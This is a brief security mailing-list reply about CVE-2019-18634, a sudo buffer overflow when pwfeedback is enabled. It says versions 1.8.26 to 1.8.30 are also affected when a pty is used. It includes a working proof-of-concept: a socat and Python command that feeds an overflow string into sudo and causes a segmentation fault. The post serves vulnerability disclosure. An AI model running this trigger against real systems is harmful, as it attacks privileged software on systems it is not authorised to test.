Subject: Re: CVE-2019-18634: buffer overflow in sudo when
pwfeedback is enabled
When using a pty, sudo_term_eof and sudo_term_kill are initialized to 0x4
and 0x15 allowing the overflow to be reached, making 1.8.26-1.8.30 also
vulnerable:
$ socat pty,link=/tmp/pty,waitslave exec:"python -c
'print((\"A\"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
[sudo] password for user1: Segmentation fault
$ sudo -V
Sudo version 1.8.30
Sudoers policy plugin version 1.8.30
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.30
